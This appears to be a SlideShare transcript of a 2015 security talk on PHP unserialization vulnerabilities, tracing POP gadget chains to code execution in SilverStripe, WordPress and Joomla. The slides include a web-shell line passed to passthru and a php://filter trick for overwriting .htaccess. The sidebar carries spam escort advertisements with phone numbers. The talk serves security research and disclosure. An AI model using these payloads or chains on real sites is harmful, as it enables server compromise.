Advanced Php - Macq Electronique 2010Michelangelo van Dam
 
Building Testable PHP Applications
Building Testable PHP ApplicationsBuilding Testable PHP Applications
Building Testable PHP Applicationschartjes
 
Lithium: The Framework for People Who Hate Frameworks, Tokyo Edition
Lithium: The Framework for People Who Hate Frameworks, Tokyo EditionLithium: The Framework for People Who Hate Frameworks, Tokyo Edition
Lithium: The Framework for People Who Hate Frameworks, Tokyo EditionNate Abele
 
関西PHP勉強会 php5.4つまみぐい
関西PHP勉強会 php5.4つまみぐい関西PHP勉強会 php5.4つまみぐい
関西PHP勉強会 php5.4つまみぐいHisateru Tanaka
 
Php on the desktop and php gtk2
Php on the desktop and php gtk2Php on the desktop and php gtk2
Php on the desktop and php gtk2Elizabeth Smith
 
Anonymous Classes: Behind the Mask
Anonymous Classes: Behind the MaskAnonymous Classes: Behind the Mask
Anonymous Classes: Behind the MaskMark Baker
 

Similar to PHP unserialization vulnerabilities: What are we missing? (20)

Magic methods
Magic methodsMagic methods
Magic methods
 
Lecture9_OOPHP_SPring2023.pptx
Lecture9_OOPHP_SPring2023.pptxLecture9_OOPHP_SPring2023.pptx
Lecture9_OOPHP_SPring2023.pptx
 
What's new in PHP 8.0?
What's new in PHP 8.0?What's new in PHP 8.0?
What's new in PHP 8.0?
 
Nikita Popov "What’s new in PHP 8.0?"
Nikita Popov "What’s new in PHP 8.0?"Nikita Popov "What’s new in PHP 8.0?"
Nikita Popov "What’s new in PHP 8.0?"
 
Starting Out With PHP
Starting Out With PHPStarting Out With PHP
Starting Out With PHP
 
Preparing for the next PHP version (5.6)
Preparing for the next PHP version (5.6)Preparing for the next PHP version (5.6)
Preparing for the next PHP version (5.6)
 
Jooctrine - Doctrine ORM in Joomla!
Jooctrine - Doctrine ORM in Joomla!Jooctrine - Doctrine ORM in Joomla!
Jooctrine - Doctrine ORM in Joomla!
 
Becoming a better WordPress Developer
Becoming a better WordPress DeveloperBecoming a better WordPress Developer
Becoming a better WordPress Developer
 
Perl basics for pentesters part 2
Perl basics for pentesters part 2Perl basics for pentesters part 2
Perl basics for pentesters part 2
 
Orange@php conf
Orange@php confOrange@php conf
Orange@php conf
 
Security in PHP - 那些在滲透測試的小技巧
Security in PHP - 那些在滲透測試的小技巧Security in PHP - 那些在滲透測試的小技巧
Security in PHP - 那些在滲透測試的小技巧
 
Advanced Php - Macq Electronique 2010
Advanced Php - Macq Electronique 2010Advanced Php - Macq Electronique 2010
Advanced Php - Macq Electronique 2010
 
Fatc
FatcFatc
Fatc
 
Building Testable PHP Applications
Building Testable PHP ApplicationsBuilding Testable PHP Applications
Building Testable PHP Applications
 
Lithium: The Framework for People Who Hate Frameworks, Tokyo Edition
Lithium: The Framework for People Who Hate Frameworks, Tokyo EditionLithium: The Framework for People Who Hate Frameworks, Tokyo Edition
Lithium: The Framework for People Who Hate Frameworks, Tokyo Edition
 
Drupal 8 migrate!
Drupal 8 migrate!Drupal 8 migrate!
Drupal 8 migrate!
 
関西PHP勉強会 php5.4つまみぐい
関西PHP勉強会 php5.4つまみぐい関西PHP勉強会 php5.4つまみぐい
関西PHP勉強会 php5.4つまみぐい
 
Php on the desktop and php gtk2
Php on the desktop and php gtk2Php on the desktop and php gtk2
Php on the desktop and php gtk2
 
Spl Not A Bridge Too Far phpNW09
Spl Not A Bridge Too Far phpNW09Spl Not A Bridge Too Far phpNW09
Spl Not A Bridge Too Far phpNW09
 
Anonymous Classes: Behind the Mask
Anonymous Classes: Behind the MaskAnonymous Classes: Behind the Mask
Anonymous Classes: Behind the Mask
 

Recently uploaded

Test Automation Strategy for Frontend and Backend
Test Automation Strategy for Frontend and BackendTest Automation Strategy for Frontend and Backend
Test Automation Strategy for Frontend and BackendArshad QA
 
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...kellynguyen01
 
Active Directory Penetration Testing, cionsystems.com.pdf
Active Directory Penetration Testing, cionsystems.com.pdfActive Directory Penetration Testing, cionsystems.com.pdf
Active Directory Penetration Testing, cionsystems.com.pdfCionsystems
 
Tech Tuesday-Harness the Power of Effective Resource Planning with OnePlan’s ...
Tech Tuesday-Harness the Power of Effective Resource Planning with OnePlan’s ...Tech Tuesday-Harness the Power of Effective Resource Planning with OnePlan’s ...
Tech Tuesday-Harness the Power of Effective Resource Planning with OnePlan’s ...OnePlan Solutions
 
why an Opensea Clone Script might be your perfect match.pdf
why an Opensea Clone Script might be your perfect match.pdfwhy an Opensea Clone Script might be your perfect match.pdf
why an Opensea Clone Script might be your perfect match.pdfjoe51371421
 
Salesforce Certified Field Service Consultant
Salesforce Certified Field Service ConsultantSalesforce Certified Field Service Consultant
Salesforce Certified Field Service ConsultantAxelRicardoTrocheRiq
 
HR Software Buyers Guide in 2024 - HRSoftware.com
HR Software Buyers Guide in 2024 - HRSoftware.comHR Software Buyers Guide in 2024 - HRSoftware.com
HR Software Buyers Guide in 2024 - HRSoftware.comFatema Valibhai
 
How To Use Server-Side Rendering with Nuxt.js
How To Use Server-Side Rendering with Nuxt.jsHow To Use Server-Side Rendering with Nuxt.js
How To Use Server-Side Rendering with Nuxt.jsAndolasoft Inc
 
Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...
Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...
Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...MyIntelliSource, Inc.
 
The Ultimate Test Automation Guide_ Best Practices and Tips.pdf
The Ultimate Test Automation Guide_ Best Practices and Tips.pdfThe Ultimate Test Automation Guide_ Best Practices and Tips.pdf
The Ultimate Test Automation Guide_ Best Practices and Tips.pdfkalichargn70th171
 
Clustering techniques data mining book ....
Clustering techniques data mining book ....Clustering techniques data mining book ....
Clustering techniques data mining book ....ShaimaaMohamedGalal
 
call girls in Vaishali (Ghaziabad) 🔝 >༒8448380779 🔝 genuine Escort Service 🔝✔️✔️
call girls in Vaishali (Ghaziabad) 🔝 >༒8448380779 🔝 genuine Escort Service 🔝✔️✔️call girls in Vaishali (Ghaziabad) 🔝 >༒8448380779 🔝 genuine Escort Service 🔝✔️✔️
call girls in Vaishali (Ghaziabad) 🔝 >༒8448380779 🔝 genuine Escort Service 🔝✔️✔️Delhi Call girls
 
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...MyIntelliSource, Inc.
 
SyndBuddy AI 2k Review 2024: Revolutionizing Content Syndication with AI
SyndBuddy AI 2k Review 2024: Revolutionizing Content Syndication with AISyndBuddy AI 2k Review 2024: Revolutionizing Content Syndication with AI
SyndBuddy AI 2k Review 2024: Revolutionizing Content Syndication with AIABDERRAOUF MEHENNI
 
Unlocking the Future of AI Agents with Large Language Models
Unlocking the Future of AI Agents with Large Language ModelsUnlocking the Future of AI Agents with Large Language Models
Unlocking the Future of AI Agents with Large Language Modelsaagamshah0812
 
(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...
(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...
(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...gurkirankumar98700
 
Advancing Engineering with AI through the Next Generation of Strategic Projec...
Advancing Engineering with AI through the Next Generation of Strategic Projec...Advancing Engineering with AI through the Next Generation of Strategic Projec...
Advancing Engineering with AI through the Next Generation of Strategic Projec...OnePlan Solutions
 
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...panagenda
 

Recently uploaded (20)

Test Automation Strategy for Frontend and Backend
Test Automation Strategy for Frontend and BackendTest Automation Strategy for Frontend and Backend
Test Automation Strategy for Frontend and Backend
 
Vip Call Girls Noida ➡️ Delhi ➡️ 9999965857 No Advance 24HRS Live
Vip Call Girls Noida ➡️ Delhi ➡️ 9999965857 No Advance 24HRS LiveVip Call Girls Noida ➡️ Delhi ➡️ 9999965857 No Advance 24HRS Live
Vip Call Girls Noida ➡️ Delhi ➡️ 9999965857 No Advance 24HRS Live
 
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
 
Active Directory Penetration Testing, cionsystems.com.pdf
Active Directory Penetration Testing, cionsystems.com.pdfActive Directory Penetration Testing, cionsystems.com.pdf
Active Directory Penetration Testing, cionsystems.com.pdf
 
Tech Tuesday-Harness the Power of Effective Resource Planning with OnePlan’s ...
Tech Tuesday-Harness the Power of Effective Resource Planning with OnePlan’s ...Tech Tuesday-Harness the Power of Effective Resource Planning with OnePlan’s ...
Tech Tuesday-Harness the Power of Effective Resource Planning with OnePlan’s ...
 
why an Opensea Clone Script might be your perfect match.pdf
why an Opensea Clone Script might be your perfect match.pdfwhy an Opensea Clone Script might be your perfect match.pdf
why an Opensea Clone Script might be your perfect match.pdf
 
Salesforce Certified Field Service Consultant
Salesforce Certified Field Service ConsultantSalesforce Certified Field Service Consultant
Salesforce Certified Field Service Consultant
 
HR Software Buyers Guide in 2024 - HRSoftware.com
HR Software Buyers Guide in 2024 - HRSoftware.comHR Software Buyers Guide in 2024 - HRSoftware.com
HR Software Buyers Guide in 2024 - HRSoftware.com
 
How To Use Server-Side Rendering with Nuxt.js
How To Use Server-Side Rendering with Nuxt.jsHow To Use Server-Side Rendering with Nuxt.js
How To Use Server-Side Rendering with Nuxt.js
 
Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...
Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...
Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...
 
The Ultimate Test Automation Guide_ Best Practices and Tips.pdf
The Ultimate Test Automation Guide_ Best Practices and Tips.pdfThe Ultimate Test Automation Guide_ Best Practices and Tips.pdf
The Ultimate Test Automation Guide_ Best Practices and Tips.pdf
 
Clustering techniques data mining book ....
Clustering techniques data mining book ....Clustering techniques data mining book ....
Clustering techniques data mining book ....
 
call girls in Vaishali (Ghaziabad) 🔝 >༒8448380779 🔝 genuine Escort Service 🔝✔️✔️
call girls in Vaishali (Ghaziabad) 🔝 >༒8448380779 🔝 genuine Escort Service 🔝✔️✔️call girls in Vaishali (Ghaziabad) 🔝 >༒8448380779 🔝 genuine Escort Service 🔝✔️✔️
call girls in Vaishali (Ghaziabad) 🔝 >༒8448380779 🔝 genuine Escort Service 🔝✔️✔️
 
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
 
SyndBuddy AI 2k Review 2024: Revolutionizing Content Syndication with AI
SyndBuddy AI 2k Review 2024: Revolutionizing Content Syndication with AISyndBuddy AI 2k Review 2024: Revolutionizing Content Syndication with AI
SyndBuddy AI 2k Review 2024: Revolutionizing Content Syndication with AI
 
Unlocking the Future of AI Agents with Large Language Models
Unlocking the Future of AI Agents with Large Language ModelsUnlocking the Future of AI Agents with Large Language Models
Unlocking the Future of AI Agents with Large Language Models
 
CHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
CHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICECHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
CHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
 
(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...
(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...
(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...
 
Advancing Engineering with AI through the Next Generation of Strategic Projec...
Advancing Engineering with AI through the Next Generation of Strategic Projec...Advancing Engineering with AI through the Next Generation of Strategic Projec...
Advancing Engineering with AI through the Next Generation of Strategic Projec...
 
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...
 

PHP unserialization vulnerabilities: What are we missing?

  • 1. © Pentest Limited 2015 - All rights reserved PHP unserialization vulnerabilities: What are we missing? Sam Thomas
  • 2.
  • 3. PHP unserialization vulnerabilities? Slowly emerging class of vulnerabilities (PHP) Object Injection • An application will instantiate an object based on user input • Unserialization • “new” operator (see blog.leakfree.nl - CVE-2015-1033 - humhub)
  • 4. SilverStripe Changelogs 2.4.6 (2011-10-17) Security: Potential remote code execution through serialization of page comment user submissions.
  • 5. 2009 • Stefan Esser - POC - Shocking News In PHP Exploitation 2010 • Stefan Esser - BlackHat USA - Utilizing Code Reuse/ROP in PHP Application Exploits 2011 2012
  • 6. 2009 • Stefan Esser - POC - Shocking News In PHP Exploitation 2010 • Stefan Esser - BlackHat USA - Utilizing Code Reuse/ROP in PHP Application Exploits 2011 2012 2013 • Arseny Reutov - Confidence Krakow - PHP Object Injection revisited • Egidio Romano - JoomlaDay Italy - PHP Object Injection in Joomla...questo sconosciuto 2014 • Tom Van Goethem - Positive Hack Days - PHP Object Injection Vulnerability in WordPress: an Analysis • Johannes Dahse - ACM CCS - Code Reuse Attacks in PHP: Automated POP Chain Generation 2015 • Egidio Romano - Security Summit - PHP Object Injection Demystified
  • 7. New exploits for old vulnerabilities • WordPress - CVE-2013-4338 - 714 days • Joomla - CVE-2013-1453 - 933 days • SilverStripe - CVE-2011-4962 - 1409 days
  • 8. • WordPress plugin • 30% of ALL ecommerce sites (builtwith.com) • Bug fixed June 10 2015 • Same payload as CVE-2013-4338
  • 11. The exploit technique Code reuse ROP POP ret2libc Return Oriented Programming Property Oriented Programming
  • 12. Agenda • What is PHP (un)serialization? • Why is it exploitable? • Let’s exploit it!
  • 13. What is PHP (un)serialization? serialize — Generates a storable representation of a value unserialize — Creates a PHP value from a stored representation 1 i:1; ‘foobar’ s:6:”foobar”; i:1; 1 s:6:”foobar”; ‘foobar’
  • 14. Primitive types in PHP scalar • boolean • integer • float • string compound • array • object special • resource • NULL
  • 15. Array
  • 16. Object public class className { private $prop1 = ‘value1’; protected $prop2 = ‘value2’; public $prop3 = ‘value3’; public function meth1() { } } $x = new className();
  • 17. Agenda • What is PHP Unserialization? • Why is it exploitable? • Let’s exploit it!
  • 18. Magic methods • __construct() • __destruct() • __call() • __callStatic() • __get() • __set() • __isset() • __unset() • __sleep() • __wakeup() • __toString() • __invoke() • __set_state() • __clone() • __debugInfo()
  • 19. Magic methods • __construct() • __destruct() • __call() • __callStatic() • __get() • __set() • __isset() • __unset() • __sleep() • __wakeup() • __toString() • __invoke() • __set_state() • __clone() • __debugInfo()
  • 20. __wakeup • Invoked on unserialization • Reinitialise database connections • Other reinitialisation tasks
  • 21. __destruct • Invoked on garbage collection • Clean up references • Finish any unfinished business • Often interesting things happen here!
  • 22. __toString • Invoked when an object is treated as a string: echo $object; • Can contain complex rendering methods
  • 23. __call Invoked when an undefined method is called $object->foobar($args)=$object->__call(‘foobar’,$args)
  • 24. Autoloading • Applications define a function to deal with unloaded classes, this is invoked during unserialization • Either “__autoload” function or any function registered with “spl_autoload_register”
  • 25. Weak typing “PHP does not require (or support) explicit type definition in variable declaration” variables (->object properties) can take any value
  • 26. All functions have variable arguments foobar() = foobar(null) = foobar(null, null)
  • 27. Weak typing + variable args = Many possible POP chains
  • 28. Agenda • What is PHP Unserialization? • Why is it exploitable? • Let’s exploit it!
  • 29. Methodology • Find an entry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  • 30. SilverStripe 2.4.x – 2.4.6 CVE-2011-4962 (Tim Klein)
  • 31. Methodology • Find an entry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  • 32. function PostCommentForm() { … // Load the users data from a cookie if($cookie = Cookie::get("PageCommentInterface_Data")) { $form->loadDataFrom(unserialize($cookie)); } … } Entry point – PageCommentInterface - PostCommentForm
  • 33. Methodology • Find an entry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  • 34. function sapphire_autoload($className) { global $_CLASS_MANIFEST; $lClassName = strtolower($className); if(isset($_CLASS_MANIFEST[$lClassName])) include_once($_CLASS_MANIFEST[$lClassName]); else if(isset($_CLASS_MANIFEST[$className])) include_once($_CLASS_MANIFEST[$className]); } spl_autoload_register('sapphire_autoload'); Autoloader from core.php
  • 35. Methodology • Find an entry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  • 36. Possible start points • 0 x “function __wakeup” • 5 x “function __destruct” • MySQLQuery, CSVParser, TestSession, Zend_Cache_Backend_Sqlite, Zend_Log
  • 37. public function __destruct() { if(is_resource($this->handle)) mysql_free_result($this>handle); } __destruct #1 - MySQLQuery
  • 38. function __destruct() { $this->closeFile(); } protected function closeFile() { if($this->fileHandle) fclose($this->fileHandle); $this->fileHandle = null; $this->rowNum = 0; $this->currentRow = null; $this->headerRow = null; } __destruct #2 - CSVParser
  • 39. public function __destruct() { foreach($this->_writers as $writer) { $writer->shutdown(); } } __destruct #5 - Zend_Log
  • 40. Possible start points • 0 x “function __wakeup” • 5 x “function __destruct” • MySQLQuery, CSVParser, TestSession, Zend_Cache_Backend_Sqlite, Zend_Log
  • 41. Methodology • Find an entry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  • 42. Next steps • 5 x “function shutdown” • Zend_Log_Writer_Abstract, Zend_Log_Writer_Db, Zend_Log_Writer_Mail, Zend_Log_Writer_Mock, Zend_Log_Writer_Stream
  • 43. Next steps • 5 x “function shutdown” • Zend_Log_Writer_Abstract, Zend_Log_Writer_Db, Zend_Log_Writer_Mail, Zend_Log_Writer_Mock, Zend_Log_Writer_Stream
  • 44. Next steps • 5 x “function shutdown” • Zend_Log_Writer_Abstract, Zend_Log_Writer_Db, Zend_Log_Writer_Mail, Zend_Log_Writer_Mock, Zend_Log_Writer_Stream
  • 45.
  • 46. Methodology • Find an entry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  • 47. Next steps • 5 x “function shutdown” • Zend_Log_Writer_Abstract, Zend_Log_Writer_Db, Zend_Log_Writer_Mail, Zend_Log_Writer_Mock, Zend_Log_Writer_Stream • 8 x “function __call” • Aggregate, VirtualPage, Object, ViewableData, Form_FieldMap, TabularStyle, Zend_Cache_Frontend_Class, Zend_Log
  • 48. function __call($func, $args) { return call_user_func_array(array(&$this->form, $func), $args); } __call #6 – TabularStyle – proxy gadget
  • 49. public function __call($method, $params) { $priority = strtoupper($method); if (($priority = array_search($priority, $this->_priorities)) !== false) { $this->log(array_shift($params), $priority); } else { … } } public function log($message, $priority) { … $event = array_merge(array('timestamp' => date('c'), 'message' => $message, 'priority' => $priority, 'priorityName' => $this->_priorities[$priority]), $this->_extras); … foreach ($this->_writers as $writer) { $writer->write($event); } } __call #8 - Zend_Log
  • 50. Catch all __call gadget Useful because of what triggers it $this->anyProperty->anyMethod($anyArgs) This at any start point will trigger it
  • 51. public function __call($method, $params) { $priority = strtoupper($method); if (($priority = array_search($priority, $this->_priorities)) !== false) { $this->log(array_shift($params), $priority); } else { … } } public function log($message, $priority) { … $event = array_merge(array('timestamp' => date('c'), 'message' => $message, 'priority' => $priority, 'priorityName' => $this->_priorities[$priority]), $this->_extras); … foreach ($this->_writers as $writer) { $writer->write($event); } } __call #8 - Zend_Log
  • 52.
  • 53. Written to file [19-Aug-2015 19:40:12] Error at line : hi mum (http://127.0.0.1/BSidesMCR/SilverStripe/test-page/)
  • 54. Written to file [19-Aug-2015 19:40:12] Error at line : <?php passthru($_GET[‘c’]); ?> (http://127.0.0.1/BSidesMCR/SilverStripe/test-page/)
  • 55. 403
  • 56. There is a way • Using “php://filter/convert.base64-decode/resource=” • PHP ignores all non base64 characters • Can be nested • Use this to write a new .htaccess in a subdirectory • See Stefan Esser’s Piwik advisory from 2009
  • 58. Methodology • Find an entry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  • 59. Mathias Bynens utf8 in mysql ≠ UTF-8 • Only handles up to 3 byte characters • 4 byte character terminates input like a null-byte poisoning attack UPDATE table SET column = 'foo𝌆bar' WHERE id = 1; SELECT column FROM table WHERE id = 1; - returns ‘foo’
  • 60. Tom Van Goethem Genius insight = We can abuse this to screw with WordPress’ unserialization
  • 61. Methodology • Find an entry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  • 63. Methodology • Find an entry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  • 64. Possible start points (get_declared_classes) • 0 x “function __wakeup” • 2 x “function __destruct” • wpdb, WP_Object_Cache • 1 x “function __toString” • WP_Theme
  • 65. public function __destruct() { return true; } __destruct #1 - wpdb
  • 66. public function __destruct() { return true; } __destruct #2 - WP_Object_Cache
  • 67. /** * When converting the object to a string, the theme name is returned. * * @return string Theme name, ready for display (translated) */ public function __toString() { return (string) $this->display('Name'); } public function display( $header, $markup = true, $translate = true ) { $value = $this->get( $header ); if ( $translate && ( empty( $value ) || ! $this->load_textdomain() ) ) $translate = false; if ( $translate ) $value = $this->translate_header( $header, $value ); if ( $markup ) $value = $this->markup_header( $header, $value, $translate ); return $value; } __toString #1 - WP_Theme
  • 68. Methodology • Find an entry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  • 69.
  • 70.
  • 71.
  • 72. Methodology • Find an entry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  • 73. /** * When converting the object to a string, the theme name is returned. * * @return string Theme name, ready for display (translated) */ public function __toString() { return (string) $this->display('Name'); } public function display( $header, $markup = true, $translate = true ) { $value = $this->get( $header ); if ( $translate && ( empty( $value ) || ! $this->load_textdomain() ) ) $translate = false; if ( $translate ) $value = $this->translate_header( $header, $value ); if ( $markup ) $value = $this->markup_header( $header, $value, $translate ); return $value; } __toString #1 - WP_Theme
  • 74. /** * Makes a function, which will return the right translation index, according to the * plural forms header */ function make_plural_form_function($nplurals, $expression) { $expression = str_replace('n', '$n', $expression); $func_body = " $index = (int)($expression); return ($index < $nplurals)? $index : $nplurals - 1;"; return create_function('$n', $func_body); } Endpoint – make_plural_form_function - Translations
  • 75. WP_Theme __toString display load_textdomain (l10n.php) load_theme_textdomain load_textdomain MO import_from_file import_from_reader Translations set_headers set_header make_plural_form_function
  • 76.
  • 77.
  • 78.
  • 80. Prior exploits • 2013 - Egidio Romano • Arbitrary directory deletion • Blind SQL injection • 2014 - Johanne Dahse • File permission modification • Directory creation • Autoloaded local file inclusion – WTF!
  • 81. The LFI exploit Abuses a sink I didn’t know about (method_exists) Requires • null byte poisoning in include (CVE-2006-7243 – fixed 2010) • Malformed class name passed to method_exists (fixed 2014)
  • 82. Methodology • Find an entry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  • 83. public function onAfterDispatch() { … // Get the terms to highlight from the request. $terms = $input->request->get('highlight', null, 'base64'); $terms = $terms ? unserialize(base64_decode($terms)) : null; … } Entry point - PlgSystemHighlight extends JPlugin
  • 84. Methodology • Find an entry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  • 85. Autoloader has lots of code • If the classname starts with the prefix “J” • Split camelCase at each uppercase letter • e.g. JCacheController is at /libraries/Joomla/cache/controller.php
  • 86. Methodology • Find an entry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  • 87. public function __destruct() { // Do not render if debugging or language debug is not enabled if (!JDEBUG && !$this->debugLang) { return; } // User has to be authorised to see the debug information if (!$this->isAuthorisedDisplayDebug()) { return; } … } private function isAuthorisedDisplayDebug() { … $filterGroups = (array) $this->params->get('filter_groups', null); … } Starting point - __destruct - plgSystemDebug extends JPlugin
  • 88. Methodology • Find an entry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  • 89. Next steps • 33 x “function get” • JApplicationCli, JApplicationWeb, JCache, JCacheControllerCallback, JCacheControllerPage, JCacheControllerView, JCacheController, JCacheStorageApc, JCacheStorageCachelite, JCacheStorageFile, JCacheStorageMemcache, JCacheStorageMemcached, JCacheStorageWincache, JCacheStorageXcache, JCacheStorage, JClientFtp, JGithubGists, JGithubIssues, JGithubPulls, JGithubRefs, JHttp, JInputFiles, JInput, JLanguage, JObject, JPagination, JRegistry, JSession, JCategories, JException, JRequest, JViewLegacy, SimplePie • 4 x “function __call” • JCacheController, *JDatabaseDriver, *JDatabaseQuery, JInput
  • 90. /** * Executes a cacheable callback if not found in cache else returns cached output and result * * @param mixed $callback Callback or string shorthand for a callback * @param array $args Callback arguments * @param string $id Cache id * @param boolean $wrkarounds True to use wrkarounds * @param array $woptions Workaround options * * @return mixed Result of the callback * * @since 11.1 */ public function get($callback, $args = array(), $id = false, $wrkarounds = false, $woptions = array()) { … $result = call_user_func_array($callback, $Args); … } get #4 - JCacheControllerCallback extends JCacheController
  • 91. call_user_func_array as an endpoint • Trivial if we control both args: call_user_func_array(‘passthru’, ’uname –a’) • Near trivial if we control just first arg: call_user_func_array(array($object, $method_name),$args)
  • 92. public function get($gistId) { // Build the request path. $path = '/gists/' . (int) $gistId; // Send the request. $response = $this->client->get($this->fetchUrl($path)); … } protected function fetchUrl($path, $page = 0, $limit = 0) { // Get a new JUri object using the api url and given path. $uri = new JUri($this->options->get('api.url') . $path); if ($this->options->get('api.username', false)) { $uri->setUser($this->options->get('api.username')); } … return (string) $uri; } get #17 - JGithubGists extends JGithubObject
  • 93. public function get($property, $default = null) { if (isset($this->metadata[$property])) { return $this->metadata[$property]; } return $default; } get #24 - JLanguage
  • 94. api.url=“x:///” + api.username=“arbitrary” -> $this->fetchUrl(..) = “arbitrary@”
  • 95. public function get($gistId) { // Build the request path. $path = '/gists/' . (int) $gistId; // Send the request. $response = $this->client->get($this->fetchUrl($path)); … } protected function fetchUrl($path, $page = 0, $limit = 0) { // Get a new JUri object using the api url and given path. $uri = new JUri($this->options->get('api.url') . $path); if ($this->options->get('api.username', false)) { $uri->setUser($this->options->get('api.username')); } … return (string) $uri; } get #17 - JGithubGists extends JGithubObject
  • 96. elseif (strstr($callback, '::')) { list ($class, $method) = explode('::', $callback); $callback = array(trim($class), trim($method)); } … elseif (strstr($callback, '->')) { /* * This is a really not so smart way of doing this... … list ($object_123456789, $method) = explode('->', $callback); global $$object_123456789; $callback = array($$object_123456789, $method); } JCacheControllerCallback – callback string shorthand
  • 97. Variable variables $a = ‘b’ $b = ‘c’ $$a = $($a) = $b = ‘c’
